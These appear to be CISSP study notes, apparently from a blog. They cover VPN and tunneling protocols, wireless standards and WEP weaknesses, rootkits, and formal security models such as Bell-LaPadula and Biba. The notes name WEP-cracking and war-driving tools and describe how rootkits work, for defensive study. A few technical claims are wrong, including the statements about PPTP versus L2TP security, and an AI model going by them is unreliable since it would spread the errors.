It is usually implemented by companies that send out only a small amount of WAN traffic and is a much cheaper solution than a real WAN implementation

Digital Subscriber Line (DSL)

It can provide 6 to 30 times higher bandwidth speeds than ISDN and analog
technologies. You have to be within a 2.5-mile radius of the DSL service provider's equipment otherwise the transmission rates decrease. can provide up to a 52-Mbps transmission.

Symmetrical DSL (SDSL) Data travel upstream and downstream at the same rate.
Asymmetrical DSL (ADSL) Data travel downstream faster than upstream.
ISDN DSL (IDSL) Provides DSL for customers who cannot get SDSL or ADSL because of their distance
High-bit-rate DSL (HDSL) Provides T1 (1.544 Mbps) speeds over regular copper

Cable modems provide high-speed access, up to 50 Mbps, to the Internet through existing cable coaxial and fiber lines.

Virtual private network (VPN)
secure, private connection through a public network or an otherwise unsecure
environment

The protocols that can be used for VPNs are Point-to-Point Tunneling Protocol (PPTP), IPSec, and L2TP.
The user first makes a PPP connection to an ISP, and the ISP makes a full connection for the user to the destination network. PPP encapsulates datagrams to be properly transmitted over a telecommunication link.
VPN can also to provide a connection between two routers (many times called a gateway-to-gateway connection)
VPN can also take place between firewalls that have VPN functionality

Tunneling Protocols

A tunnel is a virtual path across a network that delivers packets that are encapsulated and possibly encrypted.
If two networks use IPX and need to communicate across the Internet, these messages must also be encapsulated in a protocol that the Internet can understand, such as IP.
IPSec can be configured to provide transport adjacency, which just means that more than one security protocol (ESP and AH) is applied to a packet. IPSec can also be configured to provide iterated tunneling, in which an IPSec tunnel is tunneled through another IPSec tunnel.
Point-to-Point Protocol (PPP) is not really a tunneling protocol, but an encapsulation protocol. It does not need to wrap up current frames with special headers and trailers, which will be taken off at the destination. Instead, it allows TCP/IP traffic to be transmitted over a medium developed for telephone voice data.

PPP encapsulates the data coming from our computer or network, which means it puts the data into the correct format to travel over the telecommunications link. PPP frames our data with start and stop bits so the other end knows how to process the data. PPP allows us to set up and establish an Internet connection.
PPP encapsulates data to travel over a private network (between you and your ISP), and a tunneling protocol(IP) encapsulates the data to travel over a public network, such as the Internet.
Authentication techniques like PAP,CHAP, EAP are covered later.
Three of the main tunneling protocols used today for setting up a VPN are IPSec, PPTP, and L2TP.
PPP has, for the most part, replaced Serial Line Internet Protocol (SLIP), an older protocol that was used to encapsulate data to be sent over serial connection links. PPP has several capabilities that SLIP does not have.

PPTP

A Microsoft protocol, allows remote users to set up a PPP connection to a local ISP and then create a secure VPN to their destination. PPTP has been the de facto industry-standard tunneling protocol for years, but the new de facto standard for VPNs is IPSec.
PPP payload is encrypted with Microsoft Point-to-Point Encryption (MPPE) using MS-CHAP or EAP-TLS.
If the user's data are encapsulated within PPP, and then this frame is encapsulated by PPTP with a Generic Routing Encapsulation (GRE) header and IP header. This encapsulation allows the resulting frame to be routable over public networks, such as the Internet.
PPTP can work only over IP networks(not over relay, X.25, and ATM links)

Layer 2 Tunneling Protocol (L2TP)

Combines the best of PPTP and L2F(ayer 2 Forwarding).
it can work over networks other than just IP, and it provides a higher level of security when combined with IPSec.
PPTP is an encryption protocol and L2TP is not; therefore, L2TP lacks the security to be called a true VPN solution.

IPSec:

Handles multiple connections at the same time
Provides secure authentication and encryption
Supports only IP networks
Focuses on LAN-to-LAN communication rather than user-to-user
Works at the network layer, and provides security on top of IP
Can work in tunnel mode, meaning the payload and the header are protected, or transport mode, meaning only the payload is protected

Authentication Protocols

Password Authentication Protocol (PAP) is used by remote users to authenticate over PPP lines.

PAP is one of the least secure authentication methods, because the credentials are sent in cleartext, which renders them easy to capture by network sniffers. Vulnerable to Man in the middle attacks.
Some systems revert to PAP if they cannot agree on any other authentication protocol

Challenge Handshake Authentication Protocol (CHAP) uses a challenge/response mechanism to authenticate the user instead of sending a password.

The server sends the user a challenge, which is a random value. The user encrypts the challenge with the use of a predefined password as an encryption key.
CHAP is not vulnerable to man-in-the-middle attacks because it continues this challenge/response activity throughout the connection to ensure the authentication server is still communicating with a user who holds the necessary credentials.

Extensible Authentication Protocol (EAP) is also supported by PPP. Actually, EAP is not a specific authentication. Instead, it provides a framework to enable many types of authentication techniques( one-time passwords, token cards, biometrics, Kerberos, etc) to be used during PPP connections.

Wireless Technologies

Wireless technology is actually very similar to Ethernet, but it uses CSMA/CA (collision avoidance). The wireless device sends out a broadcast indicating it is going to transmit data. This is received by other devices on the shared medium, which causes them to hold off on transmitting information

Spread Spectrum

the sender spreads its data across the frequencies and this allows for more effective use of the available bandwidth.

Frequency hopping spread spectrum (FHSS) takes the total amount of bandwidth (spectrum) and splits it into smaller subchannels.
FHSS hops between different frequencies so if another device is operating at the same frequency, it will not be drastically affected.

This also makes it much more difficult for eavesdroppers to listen in on and reconstruct the data being transmitted when used in technologies other than WLAN. But in today's WLAN devices, the hopping sequence is known and does not provide any security.

Direct sequence spread spectrum (DSSS) takes a different approach by applying sub-bits to a message. The sub-bits are used by the sending system to generate a different format of the data before the data are transmitted. The receiving end uses these sub-bits to reassemble the signal into the original data format. The sub-bits are called chips and the sequence of how the sub-bits are applied is referred to as the chipping code.

When using wireless transmissions, the data are actually moving over radio signals that work in specific frequencies. Any data to be moved in this fashion must have a carrier signal, and this carrier signal works in its own specific range, which is a frequency.

FHSS uses only a portion of the total bandwidth available at any one time, while the DSSS technology uses all it.
DSSS spreads the signals over a wider frequency band, whereas FHSS uses a narrow band carrier.
Since DSSS sends data across all frequencies at once, it has a higher data throughput than FHSS.

The first WAN standard, 802.11, used FHSS, and it can provide a data throughput of only 1 to 2 Mbps.
By using DSSS instead, 802.11b provides a data throughput of up to 11 Mbps.

Orthogonal frequency-division multiplexing (OFDM) is a digital multicarrier modulation scheme that compacts multiple modulated carriers tightly together, reducing the required bandwidth. The modulated signals are orthogonal (perpendicular) and do not interfere with each other. OFDM uses a composite of narrow channel bands to enhance its performance in high frequency bands.

Wireless LAN (WLAN)

uses a transceiver, called an access point (AP), which connects to an Ethernet cable that is the link wireless devices use to access resources on the wired network.

Any hosts that wish to participate within a particular WLAN must be configured with the proper Service Set ID (SSID). Various hosts can be segmented into different WLANs by using different SSIDs.

An ad hoc WLAN has no APs; the wireless devices communicate with each other through their wireless NICs instead of going through a centralized device.

When wireless devices work in infrastructure mode, the AP and wireless clients form a group referred to as a Basic Service Set (BSS). This group is assigned a name, which is the SSID value.

Authentication

Supplying SSID by devices is not a reliable security mechanism because many APs broadcast their SSIDs, which can be easily sniffed and used by attackers.
The wireless device can authenticate to the AP in two main ways: open system authentication (OSA) and shared key authentication (SKA).
For OSA in many cases, the wireless device needs to provide only the correct SSID value. no encryption is involved.
For SKA, the AP sends a random value to the wireless device. The device encrypts this value with its cryptographic key and returns it.

This method is based on the Wired Equivalent Privacy (WEP) protocol, which also enables data transfers to be encrypted.
With WEP disabled(usually by default), there is no privacy, and the AP is broadcasting its location and identity.

Wireless Standards

802.11b

This standard was the first extension to the 802.11 WLAN standard and is the most common standard used today.
Transfer rate of up to 11 Mbps and works in the 2.4GHz frequency range. It uses DSSS and is backward-compatible with 802.11 implementations.

802.11a(was conceived first but not released due to complexity)

This standard uses a different method of modulating data onto the necessary radio carrier signals. Whereas 802.11b uses DSSS, 802.11a uses OFDM and works in the 5GHz frequency band. Up to 54 Mbps.
Because of these differences, 802.11a is not backward-compatible with 802.11b or 802.11

802.11e

This working group has provided QoS and proper support of multimedia traffic.

802.11f

The conveying of this information between the different APs during roaming is what 802.11f deals with.

The 802.11g

Provides for higher data transfer rates—up to 54 Mbps.
Extends "b"s capability and backwards compatible with it. higher distance compared to "a" but still based on 2.4ghz.

The 802.11h

Works in the 5ghz and builds upon the 802.11a specification to meet the requirements of European wireless rules ( "a" does not).

802.11i.

802.11, has a tremendous number of security flaws
integrated the use of Extensible Authentication Protocol (EAP) and 802.1X (introduced later in this section) to enforce user authentication and mutual authentication.
To detect modifications of bits during transmission, Message Integrity Code (MIC) was also integrated.
And the Temporal Key Integrity Protocol (TKIP) generates random values used in the encryption process, which makes it much harder for an attacker to break.

TKIP actually works with WEP by feeding it keying material, which is data to be used for generating new dynamic keys. WEP uses the RC4 encryption algorithm(very weak). More complexity is added to the key generation process with the use of TKIP, which makes it much more difficult for attackers to uncover the encryption keys. This is just a firmware or software updates.

To allow for an even higher level of encryption protection, the standard also includes the new Advanced Encryption Standard (AES) algorithm to be used in new WLAN implementations.

use of the AES algorithm in counter mode with CBC-MAC (CCM), which is referred to as the CCM Protocol (CCMP).
AES is a more appropriate algorithm for wireless than RC4 but requires more processing power.
AES is not backward-compatible so only good for new WLANs.

802.1X

Port-based network access control that ensures a user cannot make a full network connection until he is properly authenticated.

WEP does not provide this type of strict access control

provides an authentication framework and a method of dynamically distributing encryption keys. The three main entities in this framework are the supplicant (wireless device), the authenticator (AP), and the authentication server (usually a RADIUS server).

If the environment does not have an authentication server, the AP can fulfill the roles of authenticator and authentication server.

It has EAP which allows for mutual authentication to take place between the authentication server and wireless device, and provides flexibility in that users can be authenticated by using passwords, tokens, one-time passwords, certificates, smart cards, or Kerberos.

When using WEP alone, a rogue AP can be set up to capture users' credentials and traffic without the users being aware.

The use of EAP, however, allows different protocols to be used by different vendors:
Cisco uses a purely password-based authentication framework called Lightweight Extensible Authentication Protocol (LEAP).
Microsoft, uses EAP and Transport Layer Security (EAP-TLS), which carries out authentication through digital certificates.

If EAP-TLS is being used, the authentication server and wireless device exchange digital certificates for authentication purposes.

And yet another choice is Protective EAP (PEAP), where only the server uses a digital certificate.

If PEAP is being used instead, the user of the wireless device sends the server a password and the server authenticates to the wireless device with its digital certificate.
Companies may choose to use PEAP instead of EAP-TLS because they don't want the hassle of installing and maintaining digital certificates on every wireless device.

In both cases, some type of public key infrastructure (PKI) needs to be in place. If a company does not have a PKI currently implemented, it can be an overwhelming and costly task to deploy a PKI just to secure wireless transmissions.

A large concern with current WLANs using just WEP is that if individual wireless devices are stolen, they can easily be authenticated to the wired network( symmetric key that was manually programmed into it).

802.11i has added steps to require the user to authenticate to the network instead of just requiring the wireless device to authenticate.
By using EAP, the user must send some type of credential set that is tied to his identity.

Dynamic Keys and the Use of Initialization Vectors

The three core deficiencies with WEP are the use of static encryption keys, the ineffective use of initialization vectors, and the lack of packet integrity assurance.

RC4 uses exact same key for encryption and decryption.
An IV is a numeric seeding value that is used with the symmetric key and RC4 algorithm to provide more randomness to the encryption process.

In most WEP implementations, the same IV values are used over and over again in this process

An attacker can actually change data within the wireless packets by flipping specific bits and altering the Integrity Check Value (ICV) so the receiving end is oblivious to these changes.

The ICV works like a CRC function(for integrity check)
In WEP, there are certain circumstances in which the receiver cannot detect whether an alteration to the frame has taken place; thus, there is no true integrity assurance.

The use of the 802.1X technology in the new 802.11i standard provides access control by restricting network access until full authentication and authorization have been completed, and provides a robust authentication framework that allows for different EAP modules to be plugged in. These two technologies (802.1X and EAP) work together to enforce mutual authentication between the wireless device and authentication server.
Powerful programs, AirSnort and WEP-Crack, can be used to easily crack WEP's encryption.

The use of TKIP provides the ability to rotate encryption keys to help fight against these types of attacks.
The protocol increases the length of the IV value and ensures each and every frame has a different IV value.
WEP key + IV value + MAC address = new encryption key
TKIP also deals with the integrity issues by using a MIC instead of an ICV function. Similar to message authentication code (MAC) function.

Characteristics of Wireless Security Structures Currently in Use

	802.1x Dynamic WEP	Wi-Fi Protected Access (WPA)	Wi-Fi Protected Access 2 (WPA2)
Access Control	802.1x	802.1x or pre-shared key	802.1x or pre-shared key
Authentication	EAP methods	EAP methods or pre-shared key	EAP methods or pre-shared key
Encryption	WEP	TKIP (RC4)	CCMP (AES Counter Mode)
Integrity	None	Michael MIC	CCMP (AES CBC-MAC)

802.11j

The 802.11j task group has been working on bringing together many of the different standards and streamlining their development to allow for better interoperability across borders.

802.11n

802.11n is designed to be much faster, with throughput at 100 Mbps, and it works at the same frequency range of 802.11a (5GHz).
The intent is to maintain some backward-compatibility with current Wi-Fi standards, while combining a mix of the current technologies.
The proposals for this standard use a concept called multiple input, multiple output (MIMO) to increase the throughput. This will necessitate the use of two receive and two transmit antennas to broadcast in parallel using a 20MHz channel.

802.16

All the wireless standards covered so far are WLAN-oriented standards. 802.16 is a metropolitan area network (MAN) wireless standard, which allows for wireless traffic to cover a much wider geographical area.
This technology is also referred to as broadband wireless access.

802.15

This standard deals with a much smaller geographical network, which is referred to as a wireless personal area network (WPAN).
This technology allows for connectivity to take place among local devices, such as a computer communicating with a PDA, a cellular phone communicating with a computer, or a headset communicating with another device.

Bluetooth

wireless technology is actually a portion of the 802.15 standard. It has a 1- to 3-Mbps transfer rate and works in a range of approximately ten meters.
Bluejacking: someone sends an unsolicited message to a device that is Bluetooth-enabled. Often, the Bluejacker is trying to send someone else their business card, which will be added to the victim's contact list in their address book.

The countermeasure is to put the Bluetooth-enabled device into nondiscoverable mode.

Wireless Application Protocol (WAP)

Is not a standard per se. Instead, is a de facto market and industry-driven protocol stack. WAP provides a common architecture for wireless devices to be able to communicate over the Internet.
The WAP model contains protocols that perform similar functionalities to those performed by protocols in the TCP/IP stack.
Because wireless can be a web-based technology, WAP provides a way to present web pages.
Personal computers and servers use HTML or XML to present web-based material and JavaScript to perform the processing in the background.
WAP uses an XML-compliant Wireless Markup Language (WML) and WMLScript to perform these similar tasks.
WAP has its own session and transport protocols and a transport layer security protocol called Wireless Transport Layer Security (WTLS), which is similar to TLS and SSL.
The wireless device has a WAP microbrowser that displays the web pages to the user.
Because the wireless devices use the Internet for transmission, and the Internet does not understand
WTLS, WTLS must be translated into a protocol the Internet does understand. This translation takes place at the service provider's gateway.

A security concern is that these data will be decrypted at the service provider's site and then encrypted with SSL or TLS. That means for a second or two, the data are not protected. This is referred to as the gap in the WAP, and it has caused a lot of concern for businesses and security professionals and is still one of the issues that needs to be dealt with.

WTLS Authentication

Class 1: Anonymous authentication : The wireless device and server do not authenticate to each other.
Class 2 : Server authentication : The server authenticates to the wireless device.
Class 3 : Two-way client and server authentication : The server and the wireless device authenticate to each other.

i-Mode

WAP and i-Mode are the two main protocols used for wireless Internet transmissions by cell phones and other PDA-like devices.
WAP was developed by a consortium of companies with the goal of allowing people to carry out business-oriented activities.
i-Mode was developed by a company in Japan (NTT DoCoMo) and is geared more toward providing an entertainment platform than toward providing functionality for business-oriented individuals.
i-Mode works with a slimmed-down version of HTML, called Compact HTML (cHTML), while WAP uses WML.

Mobile Phone Security

Mobile Phones have sensitive data on them, such as credentials, contacts, company files, and more, none of which is usually encrypted. They also have a camera functionality
Every organization should include this new technology and source of security breaches into their policies and security program.
cell phone must authenticate to a base station before it is allowed to make a call, but the base station is not required to authenticate to the cell phone.

This has opened the door for attackers to set up rogue base stations to capture credentials.

Cell phone cloning

A regular cell phone can be stolen and then reprogrammed with someone else's access credentials. So can SIM(Sub Id Module) chips.

No end to end encryption: If someone encrypts their data and sends it on their cell phone, typically it is encrypted only while it is traveling over the wireless portion of the network and not over the wired portion.
Access to the Internet and bypassing company firewalls.
Short message spamming.
Malicious code can be downloaded.
Universal Mobile Telecommunications System is a proposed new standard for third-generation mobile communications.
Cell phone firewall products to protect against(Implementation is rare today):

VoIP signaling and DoS attacks
Toll fraud
VoIP bandwidth abuses
Virus infections
Restricting file transfer
Voice mail and PBX attacks
Unauthorized employee connections
Wardialing

War Driving for WLANs
Someone either walks or drives around with a wireless device with the intent of identifying APs and breaking into them.

Kismet and NetStumbler are programs that sniff (monitor) for APs. When one of these programs identifies an AP's signal, it logs the network name, the SSID, the MAC address of the AP, the manufacturer of the AP, the channel it was heard on, the signal strength, the signal-to-noise ratio, and whether WEP is enabled.
Airsnarf, AirSnort, and WEP-Crack are utilities that can be used to break and capture the WEP encryption keys, if WEP is enabled.

Best practices :

Enable an 802.11i implementation technology as in WPA.
Change default SSID.
Disable "broadcast SSID" on the AP.
Implement another layer of authentication (RADIUS, Kerberos). Before the user can access the network, require him to authenticate.
Physically put the AP at the center of the building.
Logically put the AP in a DMZ with a firewall between the DMZ and internal network. Allow the firewall to investigate the traffic before it gets to the wired network.
Implement VPN for wireless devices to use for extra layer of protection.
Configure the AP to allow only known MAC addresses into the network. Allow only known devices to authenticate.

But remember that these MAC addresses are sent in cleartext, so an attacker could capture them and masquerade himself as an authenticated device.

Assign static IP addresses to wireless devices and disable DHCP. If an attacker gains access and DHCP is enabled, you have just given the attacker a valid working IP address to use.
Carry out penetration tests on the WLAN. Use the tools described in this section to identify APs and attempt to break the current encryption scheme being used.
Move to a product that follows the 802.11i standard.

Satellites

In most cases, satellite broadband is a hybrid system that uses a regular phone line and modem for data and requests sent

from the user's machine, but employs a satellite link to send data to the user.

3G Wireless Communication

Often referred to as broadband wireless.
The first generation dealt with analog transmissions of voice-only data over circuit-switched networks.
The second generation allows for digitally encoded voice and data to be transmitted between wireless devices, such as cell phones, and content providers. This generation provides a throughput of around 19.2 Kbps. TDMA,CDMA, Global System for Mobile Communications (GSM), and Personal Communications Services (PCS) all fall under 2G.
This technology can transmit data over circuit-switched networks and supports
data encryption, fax transmissions, and short message services (SMSs).

	1g	2G	3G	4G
Spectrum	900MHz	1800MHz	2GHz	40GHz and 60GHZ
Multiplexing Type	Analog FDMA	TDMA	CDMA	OFDM
Voice Support	Basic telephony	Caller ID and voice mail	Conference calls and lowquality video	Telepresence and highdefinition video
Messaging Features	None	Text only	Graphics and formatted text	Full unified messaging
Data Support	None	Circuit switched (packet switched in 2.5G)	Packet switched	Native IPv6
Target Data Rate	N/A	14.4 Kbps (approx. 115 Kbps in 2.5G)	2 Mbps (10 Mbps in 3.5G), 14Mbps with HSPA+	100 Mbps
Real Data Rate	2.4 Kbps 9.6 Kbps (approx. 40 Kbps in 2.5G)	64 Kbps	Unknown
Interface with Other Devices	Acoustic coupler	RS232 serial cable or IrDA	IEEE 802.11 or Bluetooth	Seamless connection via multiple methods

Rootkits

Once the level of access is achieved, the attacker can upload a bundle of
tools, collectively called a rootkit.
The first thing that is usually installed is a backdoor program, which allows the attacker to enter the system at any time without having to go through any authentication steps. (A backdoor is just a service that listens on a specific port.)
Trojaned programs: replaces these default utilities for detecting rootkits with new utilities, which share the same name.
rootkits also contain sniffers, but the system's NIC must be put into promiscuous mode, which just means it can "hear" all the traffic on the
network link. The default ipconfig utility allows the root user to employ a specific parameter to see whether or not the NIC is running in promiscuous mode. So, the rootkit also contains a Trojaned ipconfig program, which hides the fact that the NIC is in promiscuous mode.

In Unix\Linux, this utility is called ifconfig.

Rootkits usually contain "log scrubbers" that remove traces of the attacker's activities from the system logs. They can also contain Trojaned programs that replace find and ls Unix utilities, so that when a user does a listing of what is in a specific directory, the rootkit will not be listed.
more powerful rootkits actually update the kernel of the system. It is also very difficult to detect kernel updates because most host IDS products look at changes to file sizes and modification dates but ignore kernel.
Ironically, sometimes when an attacker compromises a system and installs a rootkit, he fortifies the system against other attackers by patching, disabling unused ports etc.
Countermeasures

Properly hardening the system and running updated antivirus and antispyware software.
Use a host-based IDS.
better to use a monolithic kernel rather than individual kernel modules because rootkit cannot load itself as a module.
proxy server, firewall, IDS are usually installed with monolithic kernels.

Spyware and Adware

Adware is when companies want to track a user's buying and browsing habits

Spyware is usually considered more dangerous than adware because it may be written to capture keystrokes, capture system information, or install a backdoor on a system.

Instant Messaging

Many firewalls do not have the capability to scan for this type of traffic to uncover suspicious activity. Blocking specific ports on the firewalls is not usually effective because the IM traffic may be using common ports that need to be open
(HTTP port 80 and FTP port 21). Many of the IM clients autoconfigure themselves to work on another port if their default port is unavailable and blocked by the firewall.

Instant messaging spam (SPIM) is a type of spamming that uses instant messengers for this malicious act.Not common. One way to prevent SPIM is to enable the option of receiving instant messages only from a known list of users.

Tips
Note Products have been developed to identify adware and spyware, and antivirus vendors are starting to incorporate this functionality into their products.

CISSP: email security is very important now. refer: http://www.logicalsecurity.com/resources/resources_articles. html.

- A protocol is a set of rules that dictates how computers communicate over networks.
- DNS resolves hostnames into IP addresses and has distributed databases all over the Internet to provide name resolution.
- Tunneling protocols move frames from one network to another by placing them inside of routable encapsulated frames.
- Firewalls that use proxies transfer an isolated copy of each approved packet from one network to another network.
- An application proxy requires a proxy for each approved service and can understand and make access decisions on the protocols used and the commands within those protocols.
- Circuit-level firewalls also use proxies but at a lower layer. Circuit-level firewalls do not look as deep within the packet as application proxies do.
- PPTP works at the data link layer. IPSec works at the network layer and can handle multiple tunnels at the same time.
- Ethernet, 802.3, is the most commonly used LAN implementation today and can operate at 10 to 1,000 Mbps.
- A permanent virtual circuit (PVC) is programmed into WAN devices, whereas a switched virtual circuit (SVC) is temporary. SVCs are set up and then torn down quickly when no longer needed.
- Frame relay is an economical choice because the fee is based on bandwidth usage.
- Remote access servers can be configured to call back remote users, but this can be compromised by enabling call forwarding.
- NAT is used when companies do not want systems to know internal hosts' addresses, and it enables companies to use private, nonroutable IP addresses.
- Subnetting allows large IP ranges to be divided into smaller, logical and easier to maintain network segments.
- Open relay is a SMTP server that is configured in such a way that it can transmit e-mail messages from any source to any destination.

Security: Network security

2012-12-23T12:46:00.000-08:00

An example listing of components in an Applications environment:

application firewall
web server
application server
middleware servers
databases
web caches
stateful firewalls
routers
switches
Domain Servers
OTP servers
RSA secureID servers
PKI /TACACS/Radius servers-HIDS/HIPS
NIDS/NIPS
Syslog and log aggregation servers
Anti-Virus servers/appliances
Load Balancers/reverse proxies

Top network level threats include:

Information gathering
Sniffing
Spoofing
Session hijacking
Denial of service

Top host level threats include:

Viruses, Trojan horses, and worms
Footprinting ( ping sweep, NETBIOS enumeration).
Profiling
Password cracking
Denial of service
Arbitrary code execution
Unauthorized access

refer for notes http://www.ixiacom.com/pdfs/library/white_papers/SecurityOverviewWhitePaper.pdf

Security: Security Architecture and design

2012-12-09T11:41:00.000-08:00

Trusted computing base (TCB) is defined as the total combination of protection mechanisms within a computer system. The TCB includes hardware, software, and firmware. These components will enforce the security policy and not violate it.

If the TCB is enabled, then the system has a trusted path, a trusted shell, and system integrity-checking capabilities. The TCB provides protection resources to ensure the trusted path (channel between the user, or program, and the kernel) cannot be compromised in any way. A trusted shell prevents "bust out of it," and "bust into it" phenomenon.

The four basic functions of the TCB are process activation, execution domain switching, memory protection, and I/O operations.
Execution domain switching refers to when the CPU has to go from executing instructions in user mode to privileged mode and back.

The reference monitor
is an abstract machine that mediates all access subjects have to objects, both to ensure that the subjects have the necessary access rights and to protect the objects from unauthorized access and destructive modification.

The security kernel is made up of hardware, software, and firmware components that fall within the TCB, and it implements and enforces the reference monitor concept.

The reference monitor is a concept in which an abstract machine mediates all access to objects by subjects. The security kernel is the hardware, firmware, and software of a TCB that implements this concept. The TCB is the totality of protection mechanisms within a computer system that work together to enforce a security policy. The TCB contains the security kernel and all other security protection mechanisms.

Security model
Models such as the Bell-LaPadula model, enforce rules to provide confidentiality protection. Other models, such as the Biba model, enforce rules to provide integrity protection. Formal security models, such as Bell-LaPadula and
Biba, are used to provide high assurance in security. Informal models, such as Clark-Wilson, are used more as a framework to describe how security policies should be expressed and executed.

The Bell-LaPadula model

is a state machine model that enforces the confidentiality aspects of access control. A matrix and security levels are used to determine if subjects can
access different objects. The subject's clearance is compared to the object's classification and then specific rules are applied to control how subject-to-object interactions can take place. It is a subject-to-object model.

The simple security rule states that a subject at a given security level cannot read data that reside at a higher security level.
The *-property rule (star property rule) states that a subject in a given security level cannot write information to a lower security level.
The simple security rule is referred to as the "no read up" rule, and the *-property rule is referred to as the "no write down" rule.
The third rule, the strong star property rule, states that a subject that has read and write capabilities can only perform those functions at the same security level, nothing higher and nothing lower.

Basic Security Theorem used in computer science, which states that if a system initializes in a secure state and all allowed state transitions are secure, then every
subsequent state will be secure no matter what inputs occur.

The tranquility principle, which is also used in this model, means that subjects and objects cannot change their security levels once they have been instantiated

Mandatory access control (MAC) systems are based on the Bell-LaPadula model, because it allows for multilevel security to be integrated into the code.

Bell-LaPadula has a rule called Discretionary Security Property (ds-property). It specifies that specific permissions allow a subject to pass on permissions at its own discretion. These permissions are stored in an access matrix. Basically implying that mandatory and discretionary access control mechanisms can be implemented in one operating system.

Biba Model

It addresses the integrity of data within applications. The Biba model is not concerned with security levels and confidentiality, so it does not base access decisions upon this type of lattice. The Biba model uses a lattice of integrity
levels.
Biba model prevents data from any integrity level from flowing to a higher
integrity level. Biba has three main rules:

*-integrity axiom A subject cannot write data to an object at a higher integrity level (referred to as "no write up").
Simple integrity axiom A subject cannot read data from a lower integrity level (referred to as "no read down").
Invocation property A subject cannot request service (invoke) to subjects of higher integrity.

Bell-LaPadula vs. Biba

The Bell-LaPadula and Biba models are informational flow models but the Bell-LaPadula model is used to provide confidentiality while the Biba model is used to provide integrity.
Bell-LaPadula uses security levels, and Biba uses integrity levels.
Their rules sound very similar: simple and * rules—one writing one way and one reading another way. A tip for how to remember them is that if the word "simple" is used, the rule is talking about reading. If the rule uses * or "star," it is talking about writing.

The Clark-Wilson Model

The Clark-Wilson model was developed after Biba and takes some different approaches to protecting the integrity of information. This model uses the following elements:
Users Active agents
Transformation procedures (TPs) Programmed abstract operations, such as read, write, and modify
Constrained data items (CDIs) Can be manipulated only by TPs
Unconstrained data items (UDIs) Can be manipulated by users via primitive read and write operations
Integrity verification procedures (IVPs) Check the consistency of CDIs with external reality
When an application uses the Clark-Wilson model, it separates data into one subset that needs to be highly protected, which is referred to as a constrained data item (CDI), and another subset that does not require a high level of protection, which is called an unconstrained data item (UDI). Users cannot modify critical data (CDI) directly. Instead, the subject (user) must be authenticated to a piece of software, and the software procedures (TPs) will carry out the operations on behalf of the user.

Goals of Integrity Models

The following are the three main goals of integrity models:
Prevent unauthorized users from making modifications
Prevent authorized users from making improper modifications (separation of duties)
Maintain internal and external consistency (well-formed transaction)

Clark-Wilson addresses each of these goals in its model. Biba only addresses the first goal.

Covert channels are of two types: storage and timing. In a covert storage channel, processes are able to communicate through some type of storage space on the system. In a covert timing channel, one process relays information to another by modulating its use of system resources.

The Noninterference Model

This concept is implemented to ensure any actions that take place at a higher security level do not affect, or interfere with, actions that take place at a lower level.

The Lattice Model

A lattice is a mathematical construct that is built upon the notion of a group.The most common definition of the lattice model is "a structure consisting of a finite partially ordered set together with least upper and greatest lower bound
operators on the set."

The Brewer and Nash model

Also called the Chinese Wall model, was created to provide access controls that can change dynamically depending upon a user's previous actions. The main goal of the model is to protect against conflicts of
interest by users' access attempts.
Sort of like multi-tenancy.

Graham-Denning model

Bell-LaPadula and Biba don't define how the security and integrity ratings are defined and modified, nor do they provide a way to delegate or transfer access rights. G-D model addresses these issues and defines a set of basic rights in terms of commands that a specific subject can execute on an object. This model has eight rules:

How to securely create an object, Subject(2 rules)
How to securely delete an object , Subject (2)
How to securely provide the read, grant, delete,transfer access rights (4)

The Harrison-Ruzzo-Ullman Model

The Harrison-Ruzzo-Ullman (HRU) model deals with access rights of subjects and the integrity of those rights. A subject can carry out only a finite set of operations on an object.

The Access Control Matrix Model

This is a model in which access decisions are based on objects' ACLs and
subjects' capability tables.

Security Modes

Dedicated Security Mode: All users must have …

Proper clearance for all information on the system
Formal access approval for all information on the system
A signed NDA for all information on the system
A valid need to know for all information on the system
All users can access all data.

System High-Security Mode: All users must have …

Proper clearance for all information on the system
Formal access approval for all information on the system
A signed NDA for all information on the system
A valid need to know for some information on the system
All users can access some data, based on their need to know.

Compartmented Security Mode: All users must have …

Proper clearance for the highest level of data classification on the system
Formal access approval for all information they will access on the system
A signed NDA for all information they will access on the system
A valid need to know for some of the information on the system
All users can access some data, based on their need to know and formal access approval.

Multilevel Security Mode: All users must have …

Proper clearance for all information they will access on the system
Formal access approval for all information they will access on the system
A signed NDA for all information they will access on the system
A valid need to know for some of the information on the system
All users can access some data, based on their need to know, clearance, and formal access approval.

In the United States, the National Computer Security Center (NCSC) is an organization within the National Security Agency (NSA) that is responsible for evaluating computer systems and products. It has a group, called the Trusted Product Evaluation Program (TPEP), that oversees the testing by approved evaluation entities of commercial products against a specific set of criteria.
The product is assigned an assurance rating based on the Orange Book (moving toward the Common Criteria).

The Orange Book

The U.S. Department of Defense developed the Trusted Computer System Evaluation Criteria (TCSEC), which is used to evaluate operating systems, applications, and different products.

TCSEC provides a classification system that is divided into hierarchical divisions of assurance levels:

A. Verified protection
B. Mandatory protection
C. Discretionary protection
D. Minimal security

Each division can have one or more numbered classes with a corresponding set of requirements that must be met for a system to achieve that particular rating. The classes with higher numbers offer a greater degree of trust and assurance. So
B2 would offer more trust than B1, and C2 would offer more trust than C1.

Seven different areas:

Security policy The policy must be explicit and well defined and enforced by the mechanisms within the system.
Identification Individual subjects must be uniquely identified.
Labels Access control labels must be associated properly with objects.
Documentation Documentation must be provided, including test, design, and specification documents, user guides, and manuals.
Accountability Audit data must be captured and protected to enforce accountability.
Life-cycle assurance Software, hardware, and firmware must be able to be tested individually to ensure that each enforces the security policy in an effective manner throughout their lifetimes.
Continuous protection The security mechanisms and the system as a whole must perform predictably and acceptably in different situations continuously.

These categories are evaluated independently, but the rating is a sum total of these items.

Security Levels

Division D: Minimal Protection

Systems that have been evaluated but fail to meet the criteria and requirements of the higher divisions.

Division C: Discretionary Protection

C1: Discretionary Security Protection

separation of users and information
access control
protected execution domain
validating the system's operational integrity.
design documentation, test documentation, a facility manual, and user manuals.

C2: Controlled Access Protection

Users need to be identified individually
Security relevant events are audited, and records protected
provide resource, or object, isolation
object reuse concept must be clean.
cannot guarantee it will not be compromised, but make it harder.
C2, overall, is seen as the most reasonable class for commercial applications, but the level of protection is still relatively weak.

Division B: Mandatory Protection

Mandatory access control is enforced by the use of security labels. The architecture is based on the Bell-LaPadula security model, and evidence of reference monitor enforcement must be available.

B1: Labeled Security

data object must contain a classification label and each subject must have a clearance label.
system must compare the subject's and object's security labels
The security policy is based on an informal statement
design specifications are reviewed and verified.
This rating is intended for environments that require systems to handle classified data.

B2: Structured Protection

security policy is clearly defined and documented
system design and implementation reviewed/tested
requires more stringent authentication mechanisms
Subjects and devices require labels, and the system must not allow covert channels.
trusted path for logon and authentication
